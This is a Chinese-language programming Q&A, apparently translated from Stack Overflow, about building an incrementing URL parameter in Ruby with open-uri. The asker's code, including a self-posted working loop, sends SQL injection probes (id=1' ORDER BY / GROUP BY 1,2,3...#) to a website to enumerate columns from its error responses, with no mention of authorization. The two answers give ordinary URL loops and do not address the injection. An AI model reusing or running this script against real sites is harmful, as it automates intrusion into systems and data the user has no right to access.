这是我的查询:
我有一个网址示例: http://www.abcde.com/dir/go.php?id=1
我对URI.parse使用“open-uri”,为请求使用URI.escape。
我想迭代网址,例如:
http://www.abcde.com/dir/go.php?id=1,2
http://www.abcde.com/dir/go.php?id=1,2,3
http://www.abcde.com/dir/go.php?id=1,2,3,4
http://www.abcde.com/dir/go.php?id=1,2,3,4,5
等。 对不起我的英语,从过去的3个小时开始尝试..
require 'open-uri'
tgt = "http://www.abce.com/dir/go.php?id=1' ORDER BY 1,2,3,4,5,6,7#"
response = URI.parse(URI.escape(#{tgt})).read
puts response
正如你所看到的,我已经知道我将在id = ORDER BY 1,2,3,4,5,6,7上得到不同的错误“
但是,我想迭代参数id = 1'ORDER BY 1,2,3,4,5,6,7,8,9,10 ..... so on .. 我很困惑如何增加值?
知道了。
require 'open-uri'
#require 'regexp'
trg = "http://www.abcde.com/dir/go.php?id=1' GROUP BY "
(1..10).each do |i|
uri = "#{trg} " +(1..i).to_a.join(",")
s = "#{uri}#"
res = URI.parse(URI.escape("#{s}")).read
puts res
end
答案 0 :(得分:2)
不确定这是否是你想要的。
(1..5).each do |i|
puts "http://www.abcde.com/dir/go.php?id=" +(1..i).to_a.join(",")
end
你会得到:
http://www.abcde.com/dir/go.php?id=1
http://www.abcde.com/dir/go.php?id=1,2
http://www.abcde.com/dir/go.php?id=1,2,3
http://www.abcde.com/dir/go.php?id=1,2,3,4
http://www.abcde.com/dir/go.php?id=1,2,3,4,5
答案 1 :(得分:1)
如果您有要为其创建网址的特定数量的ID:
def url_with_ids(url, id_quantity)
url << "?id=" << (1..id_quantity).to_a.join(",")
end
如果您想使用越来越多的ID继续使用相同的URL,您可以创建一个这样的循环:
url = "http://www.abcde.com/dir/go.php"
n = 1
while true
current_url = url_with_ids(url, n)
# do stuff with current_url
n += 1
end
编辑:理想情况下,你会使用真实条件而不是while true
,这样你就可以在完成目标后突破循环。